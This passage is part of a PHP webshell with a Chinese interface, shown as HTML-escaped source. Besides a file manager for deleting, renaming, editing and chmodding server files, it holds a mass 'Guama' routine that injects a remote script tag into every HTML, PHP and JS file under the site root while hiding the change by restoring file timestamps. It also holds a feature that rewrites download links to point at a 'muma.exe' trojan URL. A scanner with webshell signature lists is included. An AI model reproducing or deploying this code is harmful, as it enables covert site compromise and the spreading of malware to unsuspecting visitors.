	&lt;td class=&quot;toptd&quot; style=&quot;width:810px;&quot;&gt; &lt;a href=&quot;?s=a&amp;p={$UP_DIR}&quot;&gt;&lt;b&gt;上一级目录&lt;/b&gt;&lt;/a&gt; &lt;/td&gt;
	&lt;td class=&quot;toptd&quot; style=&quot;width:100px;&quot;&gt; 操作 &lt;/td&gt;
	&lt;td class=&quot;toptd&quot; style=&quot;width:60px;&quot;&gt; 属性 &lt;/td&gt;
	&lt;td class=&quot;toptd&quot; style=&quot;width:200px;&quot;&gt; 修改时间 &lt;/td&gt;
	&lt;td class=&quot;toptd&quot; style=&quot;width:100px;&quot;&gt; 大小 &lt;/td&gt;&lt;/tr&gt;
END;
if(($h_d = @opendir($p)) == NULL) return false; while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' or $Filename == '..') continue; $Filepath = File_Str($p.'/'.$Filename); if(is_dir($Filepath)) { $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); $Filepath = urlencode($Filepath); echo &quot;\n&quot;.'&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;?s=a&amp;p='.$Filepath.'&quot;&gt;&lt;font face=&quot;wingdings&quot; size=&quot;3&quot;&gt;0&lt;/font&gt;&lt;b&gt;'.$Filename.'&lt;/b&gt;&lt;/a&gt;&lt;/td&gt;'; $Filename = urlencode($Filename); echo '&lt;td&gt;&lt;a href=&quot;#&quot; onclick=&quot;Delok(\''.$Filename.'\',\'?s=a&amp;p='.$THIS_DIR.'&amp;dd='.$Filename.'\');return false;&quot;&gt;删除&lt;/a&gt; '; echo '&lt;a href=&quot;#&quot; onclick=&quot;Inputok(\''.$Filename.'\',\'?s=a&amp;p='.$THIS_DIR.'&amp;mn='.$Filename.'&amp;rn=\');return false;&quot;&gt;重命名&lt;/a&gt;&lt;/td&gt;'; echo '&lt;td&gt;&lt;a href=&quot;#&quot; onclick=&quot;Inputok(\''.$Fileperm.'\',\'?s=a&amp;p='.$THIS_DIR.'&amp;mk='.$Filename.'&amp;md=\');return false;&quot;&gt;'.$Fileperm.'&lt;/a&gt;&lt;/td&gt;'; echo '&lt;td&gt;'.$Filetime.'&lt;/td&gt; '; echo '&lt;td&gt; &lt;/td&gt;&lt;/tr&gt;'.&quot;\n&quot;; $NUM_D++; } } @rewinddir($h_d); while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' or $Filename == '..') continue; $Filepath = File_Str($REAL_DIR.'/'.$Filename); if(!is_dir($Filepath)) { $Fileurls = str_replace(File_Str($ROOT_DIR.'/'),$GETURL,$Filepath); $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); $Filesize = File_Size(@filesize($Filepath)); if($Filepath == File_Str(__FILE__)) $fname = '&lt;font color=&quot;#FF0000&quot;&gt;'.$Filename.'&lt;/font&gt;'; else $fname = $Filename; echo &quot;\r\n&quot;.' &lt;tr&gt;&lt;td&gt; &lt;input type=&quot;checkbox&quot; name=&quot;files[]&quot; value=&quot;'.urlencode($Filepath).'&quot;&gt;&lt;a target=&quot;_blank&quot; href=&quot;'.$Fileurls.'&quot;&gt;'.$fname.'&lt;/a&gt; &lt;/td&gt;'; $Filepath = urlencode($Filepath); $Filename = urlencode($Filename); echo ' &lt;td&gt; &lt;a href=&quot;?s=p&amp;fp='.$THIS_DIR.'&amp;fn='.$Filename.'&quot;&gt; 编辑 &lt;/a&gt; '; echo ' &lt;a href=&quot;#&quot; onclick=&quot;Inputok(\''.$Filename.'\',\'?s=a&amp;p='.$THIS_DIR.'&amp;mn='.$Filename.'&amp;rn=\');return false;&quot;&gt; 重命名 &lt;/a&gt; &lt;/td&gt;'; echo ' &lt;td&gt;'.$Fileperm.'&lt;/td&gt; '; echo ' &lt;td&gt;'.$Filetime.'&lt;/td&gt; '; echo ' &lt;td align=&quot;right&quot;&gt; &lt;a href=&quot;?s=a&amp;df='.$Filepath.'&quot;&gt;'.$Filesize.'&lt;/a&gt; &lt;/td&gt;&lt;/tr&gt; '.&quot;\r\n&quot;; $NUM_F++; } } @closedir($h_d); print&lt;&lt;&lt;END
&lt;/table&gt;
&lt;div class=&quot;actall&quot;&gt;&lt;input type=&quot;hidden&quot; name=&quot;actall&quot; value=&quot;undefined&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;inver&quot; value=&quot;undefined&quot;&gt;
&lt;input name=&quot;chkall&quot; value=&quot;on&quot; type=&quot;checkbox&quot; onclick=&quot;CheckAll(this.form);&quot;&gt; 
&lt;input class=&quot;bt&quot; type=&quot;button&quot; value=&quot;复制&quot; onclick=&quot;SubmitUrl('copy selected files to folder: ','{$THIS_DIR}','a');return false;&quot;&gt; 
&lt;input class=&quot;bt&quot; type=&quot;button&quot; value=&quot;删除&quot; onclick=&quot;Delok('selected files','b');return false;&quot;&gt; 
&lt;input class=&quot;bt&quot; type=&quot;button&quot; value=&quot;属性&quot; onclick=&quot;SubmitUrl('change selected files attr value: ','0666','c');return false;&quot;&gt; 
&lt;input class=&quot;bt&quot; type=&quot;button&quot; value=&quot;时间&quot; onclick=&quot;CheckDate('2010-04-21 17:31:20','d');return false;&quot;&gt; 
文件夹({$NUM_D}) / 文件({$NUM_F})&lt;/div&gt;
&lt;/form&gt;
END;
return true; } function Guama_Pass($length) { $possible = &quot;ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;; $str = &quot;&quot;; while(strlen($str) &lt; $length) $str .= substr($possible,(rand() % strlen($possible)),1); return $str; } function Guama_Auto($gp,$gt,$gl,$gc,$incode,$gk,$gd,$gb,$go) { if(($h_d = @opendir($gp)) == NULL) return false; if($go) { preg_match_all(&quot;/\[\-([^~]*?)\-\]/i&quot;,$gc,$nc); $passm = (int)$nc[1][0]; if((!eregi(&quot;^[0-9]{1,2}$&quot;,$nc[1][0])) || ($passm &gt; 12)) return false; } while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; if($gl != ''){if(eregi($gl,$Filename)) continue;} $Filepath = File_Str($gp.'/'.$Filename); if(is_dir($Filepath) &amp;&amp; $gb) Guama_Auto($Filepath,$gt,$gl,$gc,$incode,$gk,$gd,$gb,$go); if(eregi($gt,$Filename)) { $ic = File_Read($Filepath); if(stristr($ic,$gk)) continue; if($go) $gc = str_replace($nc[0][0],Guama_Pass($passm),$gc); if($gd) $ftime = @filemtime($Filepath); if($incode == '1'){if(!stristr($ic,'&lt;/head&gt;')) continue; $ic = str_replace('&lt;/head&gt;',&quot;\r\n&quot;.$gc.&quot;\r\n&quot;.'&lt;/head&gt;'.&quot;\r\n&quot;,$ic); $ic = str_replace('&lt;/HEAD&gt;',&quot;\r\n&quot;.$gc.&quot;\r\n&quot;.'&lt;/HEAD&gt;'.&quot;\r\n&quot;,$ic);} if($incode == '2') $ic = $gc.&quot;\r\n&quot;.$ic; if($incode == '3') $ic = $ic.&quot;\r\n&quot;.$gc; echo File_Write($Filepath,$ic,'wb') ? 'ok:'.$Filepath.'&lt;br&gt;'.&quot;\r\n&quot; : 'err:'.$Filepath.'&lt;br&gt;'.&quot;\r\n&quot;; if($gd) @touch($Filepath,$ftime); ob_flush(); flush(); } } @closedir($h_d); return true; } function Guama_b() { if((!empty($_POST['gp'])) &amp;&amp; (!empty($_POST['gt'])) &amp;&amp; (!empty($_POST['gc']))) { $gk = ''; $go = false; $gt = str_replace('.','\\.',$_POST['gt']); $gl = isset($_POST['gl']) ? str_replace('.','\\.',$_POST['gl']) : ''; $gd = isset($_POST['gd']) ? true : false; $gb = ($_POST['gb'] == 'a') ? true : false; if(isset($_POST['gx'])){$gk = $_POST['gc'];if(stristr($_POST['gc'],'[-') &amp;&amp; stristr($_POST['gc'],'-]')){$temp = explode('[-',$_POST['gc']); $gk = $temp[0]; $go = true;}} echo Guama_Auto($_POST['gp'],$gt,$gl,$_POST['gc'],$_POST['incode'],$gk,$gd,$gb,$go) ? '成功' : '失败'; echo '&lt;br&gt;&lt;input class=&quot;bt&quot; type=&quot;button&quot; value=&quot;返回&quot; onclick=&quot;history.back();&quot;&gt;'; return false; } $FILE_DIR = File_Str(dirname(__FILE__)); $ROOT_DIR = File_Mode(); print&lt;&lt;&lt;END
&lt;script language=&quot;javascript&quot;&gt;
function Fulll(i){
	if(i==0) return false;
  Str = new Array(5);
  if(i &lt;= 2){Str[1] = &quot;{$ROOT_DIR}&quot;;Str[2] = &quot;{$FILE_DIR}&quot;;sform.gp.value = Str[i];}
  else{Str[3] = &quot;.htm|.html|.shtml&quot;;Str[4] = &quot;.htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do&quot;;Str[5] = &quot;.js&quot;;sform.gt.value = Str[i];}
  return true;
}
function autorun(){
	if(document.getElementById('gp').value == ''){alert('路径不能为空');return false;}
	if(document.getElementById('gt').value == ''){alert('类型不能为空');return false;}
	if(document.getElementById('gc').value == ''){alert('代码不能为空');return false;}
	document.getElementById('sform').submit();
}
&lt;/script&gt;
&lt;form method=&quot;POST&quot; name=&quot;sform&quot; id=&quot;sform&quot; action=&quot;?s=b&quot;&gt;
&lt;div class=&quot;actall&quot; style=&quot;height:35px;&quot;&gt;挂马路径: &lt;input type=&quot;text&quot; name=&quot;gp&quot; id=&quot;gp&quot; value=&quot;{$ROOT_DIR}&quot; style=&quot;width:500px;&quot;&gt;
&lt;select onchange='return Fulll(options[selectedIndex].value)'&gt;
&lt;option value=&quot;0&quot; selected&gt;--范围选择--&lt;/option&gt;
&lt;option value=&quot;1&quot;&gt;站点根目录&lt;/option&gt;
&lt;option value=&quot;2&quot;&gt;本程序目录&lt;/option&gt;
&lt;/select&gt;&lt;/div&gt;
&lt;div class=&quot;actall&quot; style=&quot;height:35px;&quot;&gt;文件类型: &lt;input type=&quot;text&quot; name=&quot;gt&quot; id=&quot;gt&quot; value=&quot;.htm|.html|.shtml&quot; style=&quot;width:500px;&quot;&gt;
&lt;select onchange='return Fulll(options[selectedIndex].value)'&gt;
&lt;option value=&quot;0&quot; selected&gt;--类型选择--&lt;/option&gt;
&lt;option value=&quot;3&quot;&gt;html&lt;/option&gt;
&lt;option value=&quot;4&quot;&gt;script+html&lt;/option&gt;
&lt;option value=&quot;5&quot;&gt;JS&lt;/option&gt;
&lt;/select&gt;&lt;/div&gt;
&lt;div class=&quot;actall&quot; style=&quot;height:35px;&quot;&gt;过滤对象: &lt;input type=&quot;text&quot; name=&quot;gl&quot; value=&quot;templet|templets|default|editor|fckeditor.html&quot; style=&quot;width:500px;&quot; disabled&gt;
&lt;input type=&quot;radio&quot; name=&quot;inout&quot; onclick=&quot;gl.disabled=false;&quot;&gt;开启 &lt;input type=&quot;radio&quot; name=&quot;inout&quot; onclick=&quot;gl.disabled=true;&quot; checked&gt;关闭&lt;/div&gt;
&lt;div class=&quot;actall&quot;&gt;挂马代码: &lt;textarea name=&quot;gc&quot; id=&quot;gc&quot; style=&quot;width:610px;height:180px;&quot;&gt;&amp;lt;script language=javascript src=&quot;http://www.baidu.com/ad.js?[-6-]&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/textarea&gt;
&lt;div class=&quot;msgbox&quot;&gt;挂马变形说明: 程序自动寻找[-6-]标签,替换为随机字符,6表示六位随机字符,最大12位,如果不变形可以不加[-6-]标签.
&lt;br&gt;Example: &amp;lt;script language=javascript src=&quot;http://www.baidu.com/ad.js?EMTDSU&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;actall&quot; style=&quot;height:35px;&quot;&gt;&lt;input type=&quot;radio&quot; name=&quot;incode&quot; value=&quot;1&quot; checked&gt;插入&amp;lt;/head&amp;gt标签之前; 
&lt;input type=&quot;radio&quot; name=&quot;incode&quot; value=&quot;2&quot;&gt;插入文件最顶端 
&lt;input type=&quot;radio&quot; name=&quot;incode&quot; value=&quot;3&quot;&gt;插入文件最末尾&lt;/div&gt;
&lt;div class=&quot;actall&quot; style=&quot;height:30px;&quot;&gt;&lt;input type=&quot;checkbox&quot; name=&quot;gx&quot; value=&quot;1&quot; checked&gt;智能过滤重复代码 &lt;input type=&quot;checkbox&quot; name=&quot;gd&quot; value=&quot;1&quot; checked&gt;保持文件修改时间不变&lt;/div&gt;
&lt;div class=&quot;actall&quot; style=&quot;height:50px;&quot;&gt;&lt;input type=&quot;radio&quot; name=&quot;gb&quot; value=&quot;a&quot; checked&gt;将挂马应用于该文件夹,子文件夹和文件
&lt;br&gt;&lt;input type=&quot;radio&quot; name=&quot;gb&quot; value=&quot;b&quot;&gt;仅将挂马应用于该文件夹&lt;/div&gt;
&lt;div class=&quot;actall&quot;&gt;&lt;input class=&quot;bt&quot; type=&quot;button&quot; value=&quot;开始挂马&quot; onclick=&quot;autorun();&quot;&gt;&lt;/div&gt;
&lt;/form&gt;
END;
return true; } function Qingma_Auto($qp,$qt,$qc,$qd,$qb) { if(($h_d = @opendir($qp)) == NULL) return false; while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; $Filepath = File_Str($qp.'/'.$Filename); if(is_dir($Filepath) &amp;&amp; $qb) Qingma_Auto($Filepath,$qt,$qc,$qd,$qb); if(eregi($qt,$Filename)) { $ic = File_Read($Filepath); if(!stristr($ic,$qc)) continue; $ic = str_replace($qc,'',$ic); if($qd) $ftime = @filemtime($Filepath); echo File_Write($Filepath,$ic,'wb') ? 'ok:'.$Filepath.'&lt;br&gt;'.&quot;\r\n&quot; : 'err:'.$Filepath.'&lt;br&gt;'.&quot;\r\n&quot;; if($qd) @touch($Filepath,$ftime); ob_flush(); flush(); } } @closedir($h_d); return true; } function Qingma_c() { if((!empty($_POST['qp'])) &amp;&amp; (!empty($_POST['qt'])) &amp;&amp; (!empty($_POST['qc']))) { $qt = str_replace('.','\\.',$_POST['qt']); $qd = isset($_POST['qd']) ? true : false; $qb = ($_POST['qb'] == 'a') ? true : false; echo Qingma_Auto($_POST['qp'],$qt,$_POST['qc'],$qd,$qb) ? '成功' : '失败'; echo '&lt;br&gt;&lt;input class=&quot;bt&quot; type=&quot;button&quot; value=&quot;返回&quot; onclick=&quot;history.back();&quot;&gt;'; return false; } $FILE_DIR = File_Str(dirname(__FILE__)); $ROOT_DIR = File_Mode(); print&lt;&lt;&lt;END
&lt;script language=&quot;javascript&quot;&gt;
function Fullll(i){
	if(i==0) return false;
  Str = new Array(5);
  if(i &lt;= 2){Str[1] = &quot;{$ROOT_DIR}&quot;;Str[2] = &quot;{$FILE_DIR}&quot;;xform.qp.value = Str[i];}
	else{Str[3] = &quot;.htm|.html|.shtml&quot;;Str[4] = &quot;.htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do&quot;;Str[5] = &quot;.js&quot;;xform.qt.value = Str[i];}
  return true;
}
function autoup(){
	if(document.getElementById('qp').value == ''){alert('文件路劲不能为空');return false;}
	if(document.getElementById('qt').value == ''){alert('文件类型不能为空');return false;}
	if(document.getElementById('qc').value == ''){alert('代码不能为空');return false;}
	document.getElementById('xform').submit();
}
&lt;/script&gt;
&lt;form method=&quot;POST&quot; name=&quot;xform&quot; id=&quot;xform&quot; action=&quot;?s=c&quot;&gt;
&lt;div class=&quot;actall&quot; style=&quot;height:35px;&quot;&gt;清马路径: &lt;input type=&quot;text&quot; name=&quot;qp&quot; id=&quot;qp&quot; value=&quot;{$ROOT_DIR}&quot; style=&quot;width:500px;&quot;&gt;
&lt;select onchange='return Fullll(options[selectedIndex].value)'&gt;
&lt;option value=&quot;0&quot; selected&gt;--选择范围--&lt;/option&gt;
&lt;option value=&quot;1&quot;&gt;站点根目录&lt;/option&gt;
&lt;option value=&quot;2&quot;&gt;本程序目录&lt;/option&gt;
&lt;/select&gt;&lt;/div&gt;
&lt;div class=&quot;actall&quot; style=&quot;height:35px;&quot;&gt;文件类型: &lt;input type=&quot;text&quot; name=&quot;qt&quot; id=&quot;qt&quot; value=&quot;.htm|.html|.shtml&quot; style=&quot;width:500px;&quot;&gt;
&lt;select onchange='return Fullll(options[selectedIndex].value)'&gt;
&lt;option value=&quot;0&quot; selected&gt;--选择类型--&lt;/option&gt;
&lt;option value=&quot;3&quot;&gt;html&lt;/option&gt;
&lt;option value=&quot;4&quot;&gt;script+html&lt;/option&gt;
&lt;option value=&quot;5&quot;&gt;js&lt;/option&gt;
&lt;/select&gt;&lt;/div&gt;
&lt;div class=&quot;actall&quot;&gt;清除代码 &lt;textarea name=&quot;qc&quot; id=&quot;qc&quot; style=&quot;width:610px;height:180px;&quot;&gt;&amp;lt;script language=javascript src=&quot;http://www.baidu.com/ad.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;actall&quot; style=&quot;height:30px;&quot;&gt;&lt;input type=&quot;checkbox&quot; name=&quot;qd&quot; value=&quot;1&quot; checked&gt;保持文件修改时间不变&lt;/div&gt;
&lt;div class=&quot;actall&quot; style=&quot;height:50px;&quot;&gt;&lt;input type=&quot;radio&quot; name=&quot;qb&quot; value=&quot;a&quot; checked&gt;将清马应用于该文件夹,子文件夹和文件
&lt;br&gt;&lt;input type=&quot;radio&quot; name=&quot;qb&quot; value=&quot;b&quot;&gt;仅将清马应用于该文件夹&lt;/div&gt;
&lt;div class=&quot;actall&quot;&gt;&lt;input class=&quot;bt&quot; type=&quot;button&quot; value=&quot;开始清马&quot; onclick=&quot;autoup();&quot;&gt;&lt;/div&gt;
&lt;/form&gt;
END;
return true; } function Tihuan_Auto($tp,$tt,$th,$tca,$tcb,$td,$tb) { if(($h_d = @opendir($tp)) == NULL) return false; while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; $Filepath = File_Str($tp.'/'.$Filename); if(is_dir($Filepath) &amp;&amp; $tb) Tihuan_Auto($Filepath,$tt,$th,$tca,$tcb,$td,$tb); $doing = false; if(eregi($tt,$Filename)) { $ic = File_Read($Filepath); if($th) { if(!stristr($ic,$tca)) continue; $ic = str_replace($tca,$tcb,$ic); $doing = true; } else { preg_match_all(&quot;/\&lt;a href\=\&quot;([^~]*?)\&quot;/i&quot;,$ic,$nc); for($i = 0;$i &lt; count($nc[1]);$i++){if(eregi($tca,$nc[1][$i])){$ic = str_replace($nc[1][$i],$tcb,$ic);$doing = true;}} } if($td) $ftime = @filemtime($Filepath); if($doing) echo File_Write($Filepath,$ic,'wb') ? 'ok:'.$Filepath.'&lt;br&gt;'.&quot;\r\n&quot; : 'err:'.$Filepath.'&lt;br&gt;'.&quot;\r\n&quot;; if($td) @touch($Filepath,$ftime); ob_flush(); flush(); } } @closedir($h_d); return true; } function Tihuan_d() { if((!empty($_POST['tp'])) &amp;&amp; (!empty($_POST['tt']))) { $tt = str_replace('.','\\.',$_POST['tt']); $td = isset($_POST['td']) ? true : false; $tb = ($_POST['tb'] == 'a') ? true : false; $th = ($_POST['th'] == 'a') ? true : false; if($th) $_POST['tca'] = str_replace('.','\\.',$_POST['tca']); echo Tihuan_Auto($_POST['tp'],$tt,$th,$_POST['tca'],$_POST['tcb'],$td,$tb) ? '成功' : '失败'; echo '&lt;br&gt;&lt;input class=&quot;bt&quot; type=&quot;button&quot; value=&quot;返回&quot; onclick=&quot;window.location=\'?s=d\'&quot;&gt;'; return false; } $FILE_DIR = File_Str(dirname(__FILE__)); $ROOT_DIR = File_Mode(); print&lt;&lt;&lt;END
&lt;script language=&quot;javascript&quot;&gt;
function Fulllll(i){
	if(i==0) return false;
  Str = new Array(5);
  if(i &lt;= 2){Str[1] = &quot;{$ROOT_DIR}&quot;;Str[2] = &quot;{$FILE_DIR}&quot;;tform.tp.value = Str[i];}
	else{Str[3] = &quot;.htm|.html|.shtml&quot;;Str[4] = &quot;.htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do&quot;;Str[5] = &quot;.js&quot;;tform.tt.value = Str[i];}
  return true;
}
function showth(th){
	if(th == 'a') document.getElementById('setauto').innerHTML = '&lt;tr&gt;Searchment&lt;/tr&gt; &lt;textarea name=&quot;tca&quot; id=&quot;tca&quot; style=&quot;width:610px;height:100px;&quot;&gt;&lt;/textarea&gt;&lt;br&gt;Replacement &lt;textarea name=&quot;tcb&quot; id=&quot;tcb&quot; style=&quot;width:610px;height:100px;&quot;&gt;&lt;/textarea&gt;';
	if(th == 'b') document.getElementById('setauto').innerHTML = '&lt;br&gt;&lt;tr&gt;Download Suffix&lt;/tr&gt; &lt;input type=&quot;text&quot; name=&quot;tca&quot; id=&quot;tca&quot; value=&quot;.exe|.z0|.rar|.zip|.gz|.torrent&quot; style=&quot;width:500px;&quot;&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp&amp;nbsp&amp;nbspReplacement&amp;nbsp&amp;nbsp&amp;nbsp&lt;input type=&quot;text&quot; name=&quot;tcb&quot; id=&quot;tcb&quot; value=&quot;http://www.baidu.com/download/muma.exe&quot; style=&quot;width:500px;&quot;&gt;';
	return true;
}
function autoup(){
	if(document.getElementById('tp').value == ''){alert('文件路径不能为空');return false;}
	if(document.getElementById('tt').value == ''){alert('文件类型不能为空');return false;}
	if(document.getElementById('tca').value == '' || document.getElementById('tcb').value == ''){alert('替换内容不能为空');return false;}
	document.getElementById('tform').submit();
}
&lt;/script&gt;
&lt;form method=&quot;POST&quot; name=&quot;tform&quot; id=&quot;tform&quot; action=&quot;?s=d&quot;&gt;
&lt;div class=&quot;actall&quot; style=&quot;height:35px;&quot;&gt;替换路径: &lt;input type=&quot;text&quot; name=&quot;tp&quot; id=&quot;tp&quot; value=&quot;{$ROOT_DIR}&quot; style=&quot;width:500px;&quot;&gt;
&lt;select onchange='return Fulllll(options[selectedIndex].value)'&gt;
&lt;option value=&quot;0&quot; selected&gt;--选择范围--&lt;/option&gt;
&lt;option value=&quot;1&quot;&gt;站点根目录&lt;/option&gt;
&lt;option value=&quot;2&quot;&gt;本程序目录&lt;/option&gt;
&lt;/select&gt;&lt;/div&gt;
&lt;div class=&quot;actall&quot; style=&quot;height:35px;&quot;&gt;Type: &lt;input type=&quot;text&quot; name=&quot;tt&quot; id=&quot;tt&quot; value=&quot;.htm|.html|.shtml&quot; style=&quot;width:500px;&quot;&gt;
&lt;select onchange='return Fulllll(options[selectedIndex].value)'&gt;
&lt;option value=&quot;0&quot; selected&gt;--选择类型--&lt;/option&gt;
&lt;option value=&quot;3&quot;&gt;html&lt;/option&gt;
&lt;option value=&quot;4&quot;&gt;script+html&lt;/option&gt;
&lt;option value=&quot;5&quot;&gt;js&lt;/option&gt;
&lt;/select&gt;&lt;/div&gt;
&lt;div class=&quot;actall&quot; style=&quot;height:235px;&quot;&gt;&lt;input type=&quot;radio&quot; name=&quot;th&quot; value=&quot;a&quot; onclick=&quot;showth('a')&quot; checked&gt;替换文件中的指定内容 &lt;input type=&quot;radio&quot; name=&quot;th&quot; value=&quot;b&quot; onclick=&quot;showth('b')&quot;&gt;替换文件中的下载地址&lt;br&gt;
&lt;div id=&quot;setauto&quot;&gt;查找内容:&amp;nbsp &lt;textarea name=&quot;tca&quot; id=&quot;tca&quot; style=&quot;width:610px;height:100px;&quot;&gt;&lt;/textarea&gt;&lt;br&gt;替换成为: &lt;textarea name=&quot;tcb&quot; id=&quot;tcb&quot; style=&quot;width:610px;height:100px;&quot;&gt;&lt;/textarea&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;actall&quot; style=&quot;height:30px;&quot;&gt;&lt;input type=&quot;checkbox&quot; name=&quot;td&quot; value=&quot;1&quot; checked&gt;保持文件修改时间不变&lt;/div&gt;
&lt;div class=&quot;actall&quot; style=&quot;height:50px;&quot;&gt;&lt;input type=&quot;radio&quot; name=&quot;tb&quot; value=&quot;a&quot; checked&gt;将替换应用于该文件夹,子文件夹和文件
&lt;br&gt;&lt;input type=&quot;radio&quot; name=&quot;tb&quot; value=&quot;b&quot;&gt;仅将替换应用于该文件夹&lt;/div&gt;
&lt;div class=&quot;actall&quot;&gt;&lt;input class=&quot;bt&quot; type=&quot;button&quot; value=&quot;开始替换&quot; onclick=&quot;autoup();&quot;&gt;&lt;/div&gt;
&lt;/form&gt;
END;
return true; } function Antivirus_Auto($sp,$features,$st) { if(($h_d = @opendir($sp)) == NULL) return false; $ROOT_DIR = File_Mode(); while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; $Filepath = File_Str($sp.'/'.$Filename); if(is_dir($Filepath)) Antivirus_Auto($Filepath,$features,$st); if(eregi($st,$Filename)) { if($Filepath == File_Str(__FILE__)) continue; $ic = File_Read($Filepath); foreach($features as $var =&gt; $key) { if(stristr($ic,$key)) { $Fileurls = str_replace($ROOT_DIR,'http://'.$_SERVER['SERVER_NAME'].'/',$Filepath); $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); echo '&lt;a href=&quot;'.$Fileurls.'&quot; target=&quot;_blank&quot;&gt;&lt;font color=&quot;#FF0000&quot;&gt;'.$Filepath.'&lt;/font&gt;&lt;/a&gt;&lt;br&gt;【&lt;a href=&quot;?s=e&amp;fp='.urlencode($sp).'&amp;fn='.$Filename.'&amp;dim='.urlencode($key).'&quot; target=&quot;_blank&quot;&gt;编辑&lt;/a&gt; &lt;a href=&quot;?s=e&amp;df='.urlencode($Filepath).'&quot; target=&quot;_blank&quot;&gt;删除&lt;/a&gt;】 '; echo '【'.$Filetime.'】 &lt;font color=&quot;#FF0000&quot;&gt;'.$var.'&lt;/font&gt;&lt;br&gt;&lt;br&gt;'; break; } } ob_flush(); flush(); } } @closedir($h_d); return true; } function Antivirus_e() { if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo ' &lt;font style=font:11pt color=ff0000&gt;删除成功&lt;/font&gt;';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? ' &lt;font style=font:11pt color=ff0000&gt;删除成功&lt;/font&gt;' : ' &lt;font style=font:11pt color=ff0000&gt;删除失败&lt;/font&gt;';} return false;} if((!empty($_GET['fp'])) &amp;&amp; (!empty($_GET['fn'])) &amp;&amp; (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; } $SCAN_DIR = (File_Mode() == '') ? File_Str(dirname(__FILE__)) : File_Mode(); $features_php = array('ftp.class.php'=&gt;'ftp.class.php','cha88.cn'=&gt;'cha88.cn','Security Angel Team'=&gt;'Security Angel Team','read()'=&gt;'-&gt;read()','readdir'=&gt;'readdir(','return string soname'=&gt;'returns string soname','eval()'=&gt;'eval(gzinflate(','eval(base64_decode())'=&gt;'eval(base64_decode(','eval($_POST)'=&gt;'eval($_POST','eval($_REQUEST)'=&gt;'eval($_REQUEST','eval ($_)'=&gt;'eval ($_','copy()'=&gt;'copy($_FILES','copy ()'=&gt;'copy ($_FILES','move_uploaded_file()'=&gt;'move_uploaded_file($_FILES','move_uploaded_file ()'=&gt;'move_uploaded_file ($_FILES','str_replace()'=&gt;'str_replace(\'\\\\\',\'/\','); $features_asx = array('绝对路径'=&gt;'绝对路径','输入马的内容'=&gt;'输入马的内容','fso.createtextfile()'=&gt;'fso.createtextfile(path,true)','&lt;%execute(request())%&gt;'=&gt;'&lt;%execute(request','&lt;%eval request()%&gt;'=&gt;'&lt;%eval request','execute session()'=&gt;'execute session(','--Created!'=&gt;'--Created!','WScript.Shell'=&gt;'WScript.Shell','&lt;%s LANGUAGE = VBScript.Encode %&gt;'=&gt;'&lt;%@ LANGUAGE = VBScript.Encode %&gt;','www.rootkit.net.cn'=&gt;'www.rootkit.net.cn','Process.GetProcesses'=&gt;'Process.GetProcesses','lake2'=&gt;'lake2'); print&lt;&lt;&lt;END
&lt;div class=&quot;actall&quot; style=&quot;height:100px;&quot;&gt;&lt;form method=&quot;POST&quot; name=&quot;tform&quot; id=&quot;tform&quot; action=&quot;?s=e&quot;&gt;
扫描路径: &lt;input type=&quot;text&quot; name=&quot;sp&quot; id=&quot;sp&quot; value=&quot;{$SCAN_DIR}&quot; style=&quot;width:400px;&quot;&gt;
&lt;select name=&quot;st&quot;&gt;
&lt;option value=&quot;php&quot;&gt;phpshell&lt;/option&gt;
&lt;option value=&quot;asx&quot;&gt;aspshell+aspxshell&lt;/option&gt;
&lt;option value=&quot;ppp&quot;&gt;phpshell+aspshell+aspxshell&lt;/option&gt;
&lt;/select&gt;
&lt;input class=&quot;bt&quot; type=&quot;submit&quot; value=&quot;开始扫描&quot;&gt;
&lt;/form&gt;&lt;br&gt;
END;
if(!empty($_POST['sp'])) { if($_POST['st'] == 'php'){$features_all = $features_php; $st = '\.php|\.inc|\.php4|\.php3|\._hp|\;';} if($_POST['st'] == 'asx'){$features_all = $features_asx; $st = '\.asp|\.asa|\.cer|\.aspx|\.ascx|\.cdx|\;';} if($_POST['st'] == 'ppp'){$features_all = array_merge($features_php,$features_asx); $st = '\.php|\.inc|\.php4|\.php3|\._hp|\.asp|\.asa|\.cer|\.cdx|\.aspx|\.ascx|\;';} echo Antivirus_Auto($_POST['sp'],$features_all,$st) ? '成功' : '失败'; } echo '&lt;/div&gt;'; return true; } function Findfile_Auto($sfp,$sfc,$sft,$sff,$sfb) { if(($h_d = @opendir($sfp)) == NULL) return false; while(false !== ($Filename = @readdir($h_d))) { if($Filename == '.' || $Filename == '..') continue; if(eregi($sft,$Filename)) continue; $Filepath = File_Str($sfp.'/'.$Filename); if(is_dir($Filepath) &amp;&amp; $sfb) Findfile_Auto($Filepath,$sfc,$sft,$sff,$sfb); if($sff) { if(stristr($Filename,$sfc)) { echo '&lt;a target=&quot;_blank&quot; href=&quot;?s=p&amp;fp='.urlencode($sfp).'&amp;fn='.urlencode($Filename).'&quot;&gt; '.$Filepath.' &lt;/a&gt;&lt;br&gt;'.&quot;\r\n&quot;; 